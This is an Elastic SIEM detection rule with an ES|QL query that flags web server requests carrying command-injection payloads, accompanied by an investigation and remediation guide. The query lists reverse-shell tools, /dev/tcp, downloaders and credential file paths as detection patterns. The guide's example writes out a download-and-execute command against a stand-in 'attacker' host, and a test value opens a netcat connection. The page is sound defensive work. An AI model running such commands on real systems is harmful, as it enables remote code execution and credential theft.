Web Server Potential Command Injection Request
This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2025/11/19"
3integration = ["nginx", "apache", "apache_tomcat", "iis", "traefik"]
4maturity = "production"
5updated_date = "2026/03/19"
6
7[rule]
8author = ["Elastic"]
9description = """
10This rule detects potential command injection attempts via web server requests by identifying URLs that contain
11suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
12applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
13PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
14potential threats early.
15"""
16from = "now-11m"
17interval = "10m"
18language = "esql"
19license = "Elastic License v2"
20name = "Web Server Potential Command Injection Request"
21note = """ ## Triage and analysis
22
23> **Disclaimer**:
24> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
25
26### Investigating Web Server Potential Command Injection Request
27
28This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
29
30### Possible investigation steps
31
32- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
33- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
34- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
35- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
36- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
37
38### False positive analysis
39
40- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
41- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
42
43### Response and remediation
44
45- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
46- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
47- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
48- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
49- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
50- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
51"""
52risk_score = 21
53rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
54severity = "low"
55tags = [
56 "Domain: Web",
57 "Use Case: Threat Detection",
58 "Tactic: Reconnaissance",
59 "Tactic: Persistence",
60 "Tactic: Execution",
61 "Tactic: Credential Access",
62 "Tactic: Command and Control",
63 "Data Source: Nginx",
64 "Data Source: Apache",
65 "Data Source: Apache Tomcat",
66 "Data Source: IIS",
67 "Data Source: Traefik",
68 "Resources: Investigation Guide",
69]
70timestamp_override = "event.ingested"
71type = "esql"
72query = '''
73from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
74| where
75 // Limit to 200 response code to reduce noise
76 http.response.status_code == 200
77
78| eval Esql.url_original_to_lower = to_lower(url.original)
79
80| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
81| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
82| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
83| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
84| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
85| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
86| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
87| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
88| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
89| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
90| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
91
92| eval Esql.any_payload_keyword = case(
93 Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
94 Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
95 Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
96
97| keep
98 @timestamp,
99 Esql.url_original_to_lower,
100 Esql.any_payload_keyword,
101 Esql.contains_interpreter,
102 Esql.contains_shell,
103 Esql.contains_nc,
104 Esql.contains_devtcp,
105 Esql.contains_helpers,
106 Esql.contains_sus_cli,
107 Esql.contains_privileges,
108 Esql.contains_downloader,
109 Esql.contains_file_read_keywords,
110 Esql.contains_base64_cmd,
111 Esql.contains_suspicious_path,
112 source.ip,
113 destination.ip,
114 agent.id,
115 http.request.method,
116 http.response.status_code,
117 user_agent.original,
118 agent.name,
119 event.dataset,
120 data_stream.namespace
121
122| stats
123 Esql.event_count = count(),
124 Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
125
126 // General fields
127
128 Esql.agent_name_values = values(agent.name),
129 Esql.agent_id_values = values(agent.id),
130 Esql.url_path_values = values(Esql.url_original_to_lower),
131 Esql.http.response.status_code_values = values(http.response.status_code),
132 Esql.user_agent_original_values = values(user_agent.original),
133 Esql.event_dataset_values = values(event.dataset),
134 Esql.data_stream_namespace_values = values(data_stream.namespace),
135
136 // Rule Specific fields
137 Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
138 Esql.contains_interpreter_values = values(Esql.contains_interpreter),
139 Esql.contains_shell_values = values(Esql.contains_shell),
140 Esql.contains_nc_values = values(Esql.contains_nc),
141 Esql.contains_devtcp_values = values(Esql.contains_devtcp),
142 Esql.contains_helpers_values = values(Esql.contains_helpers),
143 Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
144 Esql.contains_privileges_values = values(Esql.contains_privileges),
145 Esql.contains_downloader_values = values(Esql.contains_downloader),
146 Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
147 Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
148 Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
149
150 by source.ip, agent.id
151
152| where
153 // Filter for potential command injection attempts with low event counts to reduce false positives
154 Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
155'''
156
157[[rule.threat]]
158framework = "MITRE ATT&CK"
159
160[[rule.threat.technique]]
161id = "T1505"
162name = "Server Software Component"
163reference = "https://attack.mitre.org/techniques/T1505/"
164
165[[rule.threat.technique.subtechnique]]
166id = "T1505.003"
167name = "Web Shell"
168reference = "https://attack.mitre.org/techniques/T1505/003/"
169
170[rule.threat.tactic]
171id = "TA0003"
172name = "Persistence"
173reference = "https://attack.mitre.org/tactics/TA0003/"
174
175[[rule.threat]]
176framework = "MITRE ATT&CK"
177
178[[rule.threat.technique]]
179id = "T1059"
180name = "Command and Scripting Interpreter"
181reference = "https://attack.mitre.org/techniques/T1059/"
182
183[[rule.threat.technique.subtechnique]]
184id = "T1059.004"
185name = "Unix Shell"
186reference = "https://attack.mitre.org/techniques/T1059/004/"
187
188[rule.threat.tactic]
189id = "TA0002"
190name = "Execution"
191reference = "https://attack.mitre.org/tactics/TA0002/"
192
193[[rule.threat]]
194framework = "MITRE ATT&CK"
195
196[[rule.threat.technique]]
197id = "T1071"
198name = "Application Layer Protocol"
199reference = "https://attack.mitre.org/techniques/T1071/"
200
201[rule.threat.tactic]
202id = "TA0011"
203name = "Command and Control"
204reference = "https://attack.mitre.org/tactics/TA0011/"
205
206[[rule.threat]]
207framework = "MITRE ATT&CK"
208
209[[rule.threat.technique]]
210id = "T1595"
211name = "Active Scanning"
212reference = "https://attack.mitre.org/techniques/T1595/"
213
214[[rule.threat.technique.subtechnique]]
215id = "T1595.002"
216name = "Vulnerability Scanning"
217reference = "https://attack.mitre.org/techniques/T1595/002/"
218
219[[rule.threat.technique.subtechnique]]
220id = "T1595.003"
221name = "Wordlist Scanning"
222reference = "https://attack.mitre.org/techniques/T1595/003/"
223
224[rule.threat.tactic]
225id = "TA0043"
226name = "Reconnaissance"
227reference = "https://attack.mitre.org/tactics/TA0043/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating Web Server Potential Command Injection Request
This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
Possible investigation steps
- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
False positive analysis
- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
Response and remediation
- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/, /dev/shm/, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
Related rules
- Web Server Suspicious User Agent Requests
- Web Server Discovery or Fuzzing Activity
- Web Server Potential Remote File Inclusion Activity
- Web Server Potential Spike in Error Response Codes
- Web Server Local File Inclusion Activity